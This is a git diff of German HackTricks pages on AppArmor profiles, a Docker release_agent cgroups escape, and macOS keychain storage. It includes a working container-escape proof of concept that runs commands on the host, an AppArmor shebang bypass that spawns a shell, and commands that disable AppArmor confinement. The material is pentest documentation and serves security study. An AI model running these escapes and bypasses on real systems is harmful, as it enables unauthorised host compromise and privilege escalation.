Wenn Sie den Schrägstrich "/" für einen Punkt des Pfads jeder aufgelisteten Binärdatei ändern, erhalten Sie den Namen des AppArmor-Profils im genannten Ordner. +Mit `sudo aa-status` können Sie die Binärdateien auflisten, die durch ein bestimmtes Profil eingeschränkt sind. Wenn Sie das Zeichen "/" im Pfad jeder aufgelisteten Binärdatei durch einen Punkt ersetzen, erhalten Sie den Namen des AppArmor-Profils im genannten Ordner. -Zum Beispiel wird ein **AppArmor**-Profil für _/usr/bin/man_ im Ordner _/etc/apparmor.d/usr.bin.man_ gespeichert. +Zum Beispiel wird ein **AppArmor**-Profil für _/usr/bin/man_ in _/etc/apparmor.d/usr.bin.man_ gespeichert. ### Befehle ```bash @@ -64,35 +50,35 @@ aa-mergeprof #used to merge the policies ``` ## Erstellen eines Profils -* Um das betroffene ausführbare Programm anzugeben, sind **absolute Pfade und Platzhalter** (für Datei-Globbing) zur Spezifizierung von Dateien erlaubt. -* Um den Zugriff anzugeben, den die Binärdatei über **Dateien** haben wird, können die folgenden **Zugriffskontrollen** verwendet werden: +* Um die betroffene ausführbare Datei anzugeben, sind **absolute Pfade und Platzhalter** (für die Dateiglobierung) zur Angabe von Dateien erlaubt. +* Um den Zugriff anzugeben, den die Binärdatei über **Dateien** haben wird, können die folgenden **Zugriffssteuerungen** verwendet werden: * **r** (lesen) * **w** (schreiben) -* **m** (als ausführbar in den Speicher abbilden) -* **k** (Dateisperre) -* **l** (Erstellen von harten Links) -* **ix** (um ein anderes Programm mit dem neuen Programm unter Vererbung der Richtlinie auszuführen) +* **m** (Speicherkarten als ausführbar) +* **k** (Dateisperrung) +* **l** (Erstellung harter Links) +* **ix** (um ein anderes Programm auszuführen, wobei das neue Programm die Richtlinie erbt) * **Px** (unter einem anderen Profil ausführen, nach Bereinigung der Umgebung) -* **Cx** (unter einem untergeordneten Profil ausführen, nach Bereinigung der Umgebung) +* **Cx** (unter einem Kindprofil ausführen, nach Bereinigung der Umgebung) * **Ux** (unbeschränkt ausführen, nach Bereinigung der Umgebung) -* **Variablen** können in den Profilen definiert und von außerhalb des Profils manipuliert werden. Zum Beispiel: @{PROC} und @{HOME} (fügen Sie #include \ zur Profildatei hinzu) -* **Deny-Regeln werden unterstützt, um Allow-Regeln außer Kraft zu setzen**. +* **Variablen** können in den Profilen definiert und von außerhalb des Profils manipuliert werden. Zum Beispiel: @{PROC} und @{HOME} (füge #include \ zur Profildatei hinzu) +* **Ablehnungsregeln werden unterstützt, um Erlaubensregeln zu überschreiben**. ### aa-genprof -Um das Erstellen eines Profils zu erleichtern, kann Ihnen AppArmor helfen. Es ist möglich, **AppArmor die Aktionen überwachen zu lassen, die von einer Binärdatei ausgeführt werden, und dann zu entscheiden, welche Aktionen Sie zulassen oder ablehnen möchten**.\ +Um das Erstellen eines Profils zu erleichtern, kann apparmor Ihnen helfen. Es ist möglich, **apparmor die von einer Binärdatei durchgeführten Aktionen zu inspizieren und Ihnen dann zu ermöglichen, zu entscheiden, welche Aktionen Sie erlauben oder ablehnen möchten**.\ Sie müssen nur Folgendes ausführen: ```bash sudo aa-genprof /path/to/binary ``` -Dann führen Sie in einer anderen Konsole alle Aktionen aus, die das Binärprogramm normalerweise ausführen würde: +Dann führen Sie in einer anderen Konsole alle Aktionen aus, die die Binärdatei normalerweise ausführen wird: ```bash /path/to/binary -a dosomething ``` -Dann drücken Sie in der ersten Konsole "**s**" und geben Sie dann in den aufgezeichneten Aktionen an, ob Sie ignorieren, erlauben oder was auch immer möchten. Wenn Sie fertig sind, drücken Sie "**f**" und das neue Profil wird in _/etc/apparmor.d/path.to.binary_ erstellt. +Dann drücken Sie in der ersten Konsole "**s**" und geben Sie dann in den aufgezeichneten Aktionen an, ob Sie ignorieren, erlauben oder etwas anderes möchten. Wenn Sie fertig sind, drücken Sie "**f**" und das neue Profil wird in _/etc/apparmor.d/path.to.binary_ erstellt. {% hint style="info" %} -Mit den Pfeiltasten können Sie auswählen, was Sie erlauben/ablehnen/möchten +Mit den Pfeiltasten können Sie auswählen, was Sie erlauben/ablehnen/whatever möchten. {% endhint %} ### aa-easyprof @@ -123,24 +109,24 @@ sudo aa-easyprof /path/to/binary } ``` {% hint style="info" %} -Beachten Sie, dass standardmäßig in einem erstellten Profil nichts erlaubt ist, daher wird alles verweigert. Sie müssen Zeilen wie `/etc/passwd r,` hinzufügen, um beispielsweise das Lesen der Binärdatei `/etc/passwd` zu ermöglichen. +Beachten Sie, dass standardmäßig in einem erstellten Profil nichts erlaubt ist, sodass alles verweigert wird. Sie müssen Zeilen wie `/etc/passwd r,` hinzufügen, um beispielsweise das Lesen der Binärdatei `/etc/passwd` zu erlauben. {% endhint %} -Sie können dann das neue Profil **erzwingen** mit +Sie können dann das neue Profil **durchsetzen** mit ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` -### Bearbeiten eines Profils aus Protokollen +### Modifizieren eines Profils aus Protokollen Das folgende Tool liest die Protokolle und fragt den Benutzer, ob er einige der erkannten verbotenen Aktionen erlauben möchte: ```bash sudo aa-logprof ``` {% hint style="info" %} -Mit den Pfeiltasten können Sie auswählen, was Sie erlauben/ablehnen/whatever möchten. +Mit den Pfeiltasten können Sie auswählen, was Sie erlauben/ablehnen/was auch immer möchten {% endhint %} -### Profil verwalten +### Verwaltung eines Profils ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -148,9 +134,9 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` -## Protokolle +## Logs -Beispiel für **AUDIT**- und **DENIED**-Protokolle aus _/var/log/audit/audit.log_ der ausführbaren Datei **`service_bin`**: +Beispiel für **AUDIT**- und **DENIED**-Protokolle aus _/var/log/audit/audit.log_ der ausführbaren **`service_bin`**: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 @@ -191,49 +177,49 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` -Standardmäßig wird das **Apparmor Docker-Standardprofil** von [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) generiert. +By default **Apparmor docker-default profile** wird generiert von [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -**Zusammenfassung des Docker-Standardprofils**: +**docker-default profile Zusammenfassung**: -- **Zugriff** auf alle **Netzwerke** -- Es sind **keine Fähigkeiten** definiert (Einige Fähigkeiten werden jedoch durch das Einbeziehen grundlegender Basissätze wie #include \ bereitgestellt) -- **Schreiben** in jede **/proc**-Datei ist **nicht erlaubt** -- Andere **Unterverzeichnisse**/**Dateien** von /**proc** und /**sys** haben **keinen** Lese-/Schreib-/Sperr-/Verknüpfungs-/Ausführungszugriff -- **Mounten** ist **nicht erlaubt** -- **Ptrace** kann nur auf einen Prozess ausgeführt werden, der durch dasselbe **Apparmor-Profil** eingeschränkt ist +* **Zugriff** auf alle **Netzwerke** +* **Keine Fähigkeit** ist definiert (Allerdings werden einige Fähigkeiten durch das Einfügen grundlegender Basisregeln kommen, d.h. #include \) +* **Schreiben** in eine **/proc**-Datei ist **nicht erlaubt** +* Andere **Unterverzeichnisse**/**Dateien** von /**proc** und /**sys** haben **verweigerten** Lese-/Schreib-/Sperr-/Link-/Ausführungszugriff +* **Mount** ist **nicht erlaubt** +* **Ptrace** kann nur auf einem Prozess ausgeführt werden, der durch **das gleiche apparmor-Profil** eingeschränkt ist -Nachdem Sie einen **Docker-Container gestartet** haben, sollten Sie die folgende Ausgabe sehen: +Sobald Sie **einen Docker-Container ausführen**, sollten Sie die folgende Ausgabe sehen: ```bash 1 processes are in enforce mode. docker-default (825) ``` -Beachten Sie, dass **AppArmor standardmäßig sogar die Berechtigungen für Fähigkeiten blockiert**, die dem Container gewährt wurden. Zum Beispiel wird es in der Lage sein, **die Erlaubnis zum Schreiben innerhalb von /proc zu blockieren, selbst wenn die SYS\_ADMIN-Fähigkeit gewährt wurde**, da das Docker-AppArmor-Profil standardmäßig diesen Zugriff verweigert: +Beachten Sie, dass **apparmor sogar die Berechtigungen für Fähigkeiten** blockiert, die standardmäßig dem Container gewährt werden. Zum Beispiel wird es in der Lage sein, **die Berechtigung zum Schreiben in /proc zu blockieren, selbst wenn die SYS\_ADMIN-Fähigkeit gewährt wird**, da das standardmäßige docker apparmor-Profil diesen Zugriff verweigert: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` -Du musst **AppArmor deaktivieren**, um seine Beschränkungen zu umgehen: +Sie müssen **apparmor deaktivieren**, um seine Einschränkungen zu umgehen: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -Beachten Sie, dass standardmäßig **AppArmor** auch **das Mounten von Ordnern im Container verbietet**, selbst mit der SYS\_ADMIN-Berechtigung. +Beachten Sie, dass **AppArmor** standardmäßig auch **verhindert, dass der Container** Ordner von innen mountet, selbst mit der SYS\_ADMIN-Fähigkeit. -Beachten Sie, dass Sie **Berechtigungen hinzufügen/entfernen** können, um dem Docker-Container Berechtigungen hinzuzufügen (dies wird immer noch durch Schutzmethoden wie **AppArmor** und **Seccomp** eingeschränkt): +Beachten Sie, dass Sie **Fähigkeiten** zum Docker-Container **hinzufügen/entfernen** können (dies wird weiterhin durch Schutzmethoden wie **AppArmor** und **Seccomp** eingeschränkt): -* `--cap-add=SYS_ADMIN` gibt die `SYS_ADMIN`-Berechtigung -* `--cap-add=ALL` gibt alle Berechtigungen -* `--cap-drop=ALL --cap-add=SYS_PTRACE` verwirft alle Berechtigungen und gibt nur `SYS_PTRACE` +* `--cap-add=SYS_ADMIN` gibt die `SYS_ADMIN`-Fähigkeit +* `--cap-add=ALL` gibt alle Fähigkeiten +* `--cap-drop=ALL --cap-add=SYS_PTRACE` entfernt alle Fähigkeiten und gibt nur `SYS_PTRACE` {% hint style="info" %} -Normalerweise, wenn Sie feststellen, dass Sie eine **privilegierte Berechtigung** im **Inneren** eines **Docker**-Containers haben, aber ein Teil des **Exploits nicht funktioniert**, liegt das daran, dass Docker **AppArmor es verhindert**. +In der Regel, wenn Sie **feststellen**, dass Sie eine **privilegierte Fähigkeit** **innerhalb** eines **Docker**-Containers zur Verfügung haben, **aber** ein Teil des **Exploits nicht funktioniert**, liegt das daran, dass Docker **AppArmor es verhindern wird**. {% endhint %} ### Beispiel (Beispiel von [**hier**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) -Um die Funktionalität von AppArmor zu veranschaulichen, habe ich ein neues Docker-Profil "mydocker" erstellt, mit der folgenden Zeile hinzugefügt: +Um die Funktionalität von AppArmor zu veranschaulichen, habe ich ein neues Docker-Profil „mydocker“ mit der folgenden Zeile hinzugefügt: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` @@ -241,17 +227,17 @@ Um das Profil zu aktivieren, müssen wir Folgendes tun: ``` sudo apparmor_parser -r -W mydocker ``` -Um die Profile aufzulisten, können wir den folgenden Befehl ausführen. Der unten stehende Befehl listet mein neues AppArmor-Profil auf. +Um die Profile aufzulisten, können wir den folgenden Befehl ausführen. Der untenstehende Befehl listet mein neues AppArmor-Profil auf. ``` $ sudo apparmor_status | grep mydocker mydocker ``` -Wie unten gezeigt, erhalten wir einen Fehler, wenn wir versuchen, "/etc/" zu ändern, da das AppArmor-Profil den Schreibzugriff auf "/etc" verhindert. +Wie unten gezeigt, erhalten wir einen Fehler, wenn wir versuchen, “/etc/” zu ändern, da das AppArmor-Profil den Schreibzugriff auf “/etc” verhindert. ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` -### AppArmor Docker Umgehung1 +### AppArmor Docker Bypass1 Sie können herausfinden, welches **AppArmor-Profil einen Container ausführt**, indem Sie Folgendes verwenden: ```bash @@ -259,17 +245,19 @@ docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` -Dann können Sie die folgende Zeile ausführen, um **das genaue verwendete Profil zu finden**: +Dann können Sie die folgende Zeile ausführen, um **das genaue Profil zu finden, das verwendet wird**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` -### AppArmor Docker Umgehung2 +In dem seltsamen Fall, dass Sie **das AppArmor-Docker-Profil ändern und neu laden können.** Könnten Sie die Einschränkungen entfernen und sie "umgehen". -**AppArmor basiert auf Pfaden**, das bedeutet, selbst wenn es Dateien innerhalb eines Verzeichnisses wie **`/proc`** schützt, könnten Sie, wenn Sie **konfigurieren können, wie der Container ausgeführt wird**, das proc-Verzeichnis des Hosts innerhalb von **`/host/proc`** einhängen und es **wird nicht mehr von AppArmor geschützt**. +### AppArmor Docker Bypass2 -### AppArmor Shebang Umgehung +**AppArmor ist pfadbasiert**, das bedeutet, dass selbst wenn es möglicherweise **Dateien** in einem Verzeichnis wie **`/proc`** **schützt**, wenn Sie **konfigurieren können, wie der Container ausgeführt wird**, könnten Sie das proc-Verzeichnis des Hosts innerhalb von **`/host/proc`** **einbinden** und es **wird nicht mehr von AppArmor geschützt**. -In [**diesem Fehler**](https://bugs.launchpad.net/apparmor/+bug/1911431) können Sie ein Beispiel sehen, wie **selbst wenn Sie verhindern, dass Perl mit bestimmten Ressourcen ausgeführt wird**, wenn Sie einfach ein Shell-Skript erstellen, das in der ersten Zeile **`#!/usr/bin/perl`** angibt und die Datei direkt ausführen, können Sie alles ausführen, was Sie wollen. Z. B.: +### AppArmor Shebang Bypass + +In [**diesem Bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) sehen Sie ein Beispiel dafür, wie **selbst wenn Sie verhindern, dass Perl mit bestimmten Ressourcen ausgeführt wird**, wenn Sie einfach ein Shell-Skript **erstellen**, das in der ersten Zeile **`#!/usr/bin/perl`** **spezifiziert** und Sie **die Datei direkt ausführen**, werden Sie in der Lage sein, alles auszuführen, was Sie wollen. Z.B.: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -279,21 +267,9 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Suchmaschine kostenlos ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -Lernen Sie & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -301,7 +277,7 @@ Lernen Sie & üben Sie GCP-Hacking: {% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index a40f65a09..807b1f2ae 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -1,8 +1,8 @@ # Docker release\_agent cgroups escape {% hint style="success" %} -Lernen Sie und üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie und üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -10,26 +10,13 @@ Lernen Sie und üben Sie GCP-Hacking: 
 
 * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
 * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
+* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
 
 </details>
 {% endhint %}
 
-### [WhiteIntel](https://whiteintel.io)
 
-<figure><img src=
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen. - -Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - -**Für weitere Details lesen Sie den** [**originalen Blog-Beitrag**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Dies ist nur eine Zusammenfassung: +**Für weitere Details, siehe den** [**originalen Blogbeitrag**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Dies ist nur eine Zusammenfassung: Original PoC: ```shell @@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -Der Proof of Concept (PoC) demonstriert eine Methode, um cgroups auszunutzen, indem eine `release_agent`-Datei erstellt wird und deren Aufruf ausgelöst wird, um beliebige Befehle auf dem Container-Host auszuführen. Hier ist eine Aufschlüsselung der beteiligten Schritte: +Der Proof of Concept (PoC) demonstriert eine Methode, um cgroups auszunutzen, indem eine `release_agent`-Datei erstellt und deren Aufruf ausgelöst wird, um beliebige Befehle auf dem Container-Host auszuführen. Hier ist eine Aufschlüsselung der beteiligten Schritte: 1. **Umgebung vorbereiten:** -* Ein Verzeichnis `/tmp/cgrp` wird erstellt, um als Einhängepunkt für die cgroup zu dienen. -* Der RDMA cgroup-Controller wird in dieses Verzeichnis eingehängt. Falls der RDMA-Controller fehlt, wird empfohlen, den `memory` cgroup-Controller als Alternative zu verwenden. +* Ein Verzeichnis `/tmp/cgrp` wird erstellt, um als Mount-Punkt für die cgroup zu dienen. +* Der RDMA cgroup-Controller wird in dieses Verzeichnis gemountet. Im Falle des Fehlens des RDMA-Controllers wird empfohlen, den `memory` cgroup-Controller als Alternative zu verwenden. ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` -2. **Richten Sie die untergeordnete Cgroup ein:** -* Eine untergeordnete Cgroup mit dem Namen "x" wird innerhalb des eingehängten Cgroup-Verzeichnisses erstellt. -* Benachrichtigungen für die "x" Cgroup werden aktiviert, indem eine 1 in ihre notify\_on\_release Datei geschrieben wird. +2. **Richten Sie die Kind-Cgroup ein:** +* Eine Kind-Cgroup mit dem Namen "x" wird im gemounteten Cgroup-Verzeichnis erstellt. +* Benachrichtigungen sind für die "x" Cgroup aktiviert, indem 1 in die Datei notify\_on\_release geschrieben wird. ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` -3. **Konfigurieren des Release-Agenten:** +3. **Release-Agent konfigurieren:** * Der Pfad des Containers auf dem Host wird aus der Datei /etc/mtab abgerufen. -* Die release\_agent-Datei der cgroup wird dann so konfiguriert, dass ein Skript mit dem Namen /cmd ausgeführt wird, das sich im erhaltenen Host-Pfad befindet. +* Die release\_agent-Datei der cgroup wird dann so konfiguriert, dass sie ein Skript mit dem Namen /cmd ausführt, das sich am ermittelten Host-Pfad befindet. ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` 4. **Erstellen und Konfigurieren des /cmd-Skripts:** -* Das /cmd-Skript wird innerhalb des Containers erstellt und so konfiguriert, dass es ps aux ausführt und die Ausgabe in einer Datei namens /output im Container umleitet. Der vollständige Pfad von /output auf dem Host wird angegeben. +* Das /cmd-Skript wird innerhalb des Containers erstellt und so konfiguriert, dass es ps aux ausführt und die Ausgabe in eine Datei namens /output im Container umleitet. Der vollständige Pfad von /output auf dem Host wird angegeben. ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` -5. **Starte den Angriff:** -* Ein Prozess wird innerhalb des "x" Kind-Cgroups gestartet und sofort beendet. -* Dies löst den `release_agent` (das /cmd Skript) aus, das ps aux auf dem Host ausführt und die Ausgabe in /output innerhalb des Containers schreibt. +5. **Trigger den Angriff:** +* Ein Prozess wird innerhalb der "x" Kind-Cgroup gestartet und sofort beendet. +* Dies löst den `release_agent` (das /cmd-Skript) aus, der ps aux auf dem Host ausführt und die Ausgabe in /output innerhalb des Containers schreibt. ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen. - -Sie können ihre Website besuchen und ihre Suchmaschine kostenlos ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -Lernen Sie & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/macos-hardening/macos-red-teaming/macos-keychain.md b/macos-hardening/macos-red-teaming/macos-keychain.md index fedb733a3..3cea91ca5 100644 --- a/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/macos-hardening/macos-red-teaming/macos-keychain.md @@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: -Unterstützen Sie HackTricks +Support HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -15,28 +15,15 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Haupt-Schlüsselbunde -* Der **Benutzer-Schlüsselbund** (`~/Library/Keychains/login.keycahin-db`), der verwendet wird, um **benutzerspezifische Anmeldeinformationen** wie Anwendungskennwörter, Internetkennwörter, benutzergenerierte Zertifikate, Netzwerkkennwörter und benutzergenerierte öffentliche/private Schlüssel zu speichern. -* Der **System-Schlüsselbund** (`/Library/Keychains/System.keychain`), der **systemweite Anmeldeinformationen** wie WiFi-Passwörter, Systemstammzertifikate, systemeigene private Schlüssel und systemeigene Anwendungskennwörter speichert. +* Der **Benutzerschlüsselbund** (`~/Library/Keychains/login.keycahin-db`), der verwendet wird, um **benutzerspezifische Anmeldeinformationen** wie Anwendungskennwörter, Internetkennwörter, benutzergenerierte Zertifikate, Netzwerkkennwörter und benutzergenerierte öffentliche/private Schlüssel zu speichern. +* Der **Systemschlüsselbund** (`/Library/Keychains/System.keychain`), der **systemweite Anmeldeinformationen** wie WiFi-Kennwörter, Systemstammzertifikate, systemweite private Schlüssel und systemweite Anwendungskennwörter speichert. -### Passwort-Schlüsselbund-Zugriff +### Passwort Schlüsselbund Zugriff -Diese Dateien, obwohl sie keinen inhärenten Schutz haben und **heruntergeladen** werden können, sind verschlüsselt und erfordern das **Klartext-Passwort des Benutzers zur Entschlüsselung**. Ein Tool wie [**Chainbreaker**](https://github.com/n0fate/chainbreaker) könnte zur Entschlüsselung verwendet werden. +Diese Dateien, obwohl sie keinen inhärenten Schutz haben und **heruntergeladen** werden können, sind verschlüsselt und erfordern das **Klartextkennwort des Benutzers zur Entschlüsselung**. Ein Tool wie [**Chainbreaker**](https://github.com/n0fate/chainbreaker) könnte zur Entschlüsselung verwendet werden. ## Schutz der Schlüsselbund-Einträge @@ -45,7 +32,7 @@ Diese Dateien, obwohl sie keinen inhärenten Schutz haben und **heruntergeladen* Jeder Eintrag im Schlüsselbund wird durch **Zugriffskontrolllisten (ACLs)** geregelt, die festlegen, wer verschiedene Aktionen auf dem Schlüsselbund-Eintrag ausführen kann, einschließlich: * **ACLAuhtorizationExportClear**: Ermöglicht dem Inhaber, den Klartext des Geheimnisses zu erhalten. -* **ACLAuhtorizationExportWrapped**: Ermöglicht dem Inhaber, den Klartext, der mit einem anderen bereitgestellten Passwort verschlüsselt ist, zu erhalten. +* **ACLAuhtorizationExportWrapped**: Ermöglicht dem Inhaber, den Klartext zu erhalten, der mit einem anderen bereitgestellten Kennwort verschlüsselt ist. * **ACLAuhtorizationAny**: Ermöglicht dem Inhaber, jede Aktion auszuführen. Die ACLs werden zusätzlich von einer **Liste vertrauenswürdiger Anwendungen** begleitet, die diese Aktionen ohne Aufforderung ausführen können. Dies könnte sein: @@ -67,13 +54,13 @@ Wenn ein **neuer** **Eintrag** mit **`Keychain Access.app`** erstellt wird, gelt * Alle Apps können verschlüsseln. * **Keine Apps** können exportieren/entschlüsseln (ohne den Benutzer aufzufordern). * Alle Apps können die Integritätsprüfung sehen. -* Keine Apps können ACLs ändern. +* Keine Apps können die ACLs ändern. * Die **partitionID** wird auf **`apple`** gesetzt. Wenn eine **Anwendung einen Eintrag im Schlüsselbund erstellt**, sind die Regeln etwas anders: * Alle Apps können verschlüsseln. -* Nur die **erstellende Anwendung** (oder andere explizit hinzugefügte Apps) können exportieren/entschlüsseln (ohne den Benutzer aufzufordern). +* Nur die **erstellende Anwendung** (oder andere ausdrücklich hinzugefügte Apps) können exportieren/entschlüsseln (ohne den Benutzer aufzufordern). * Alle Apps können die 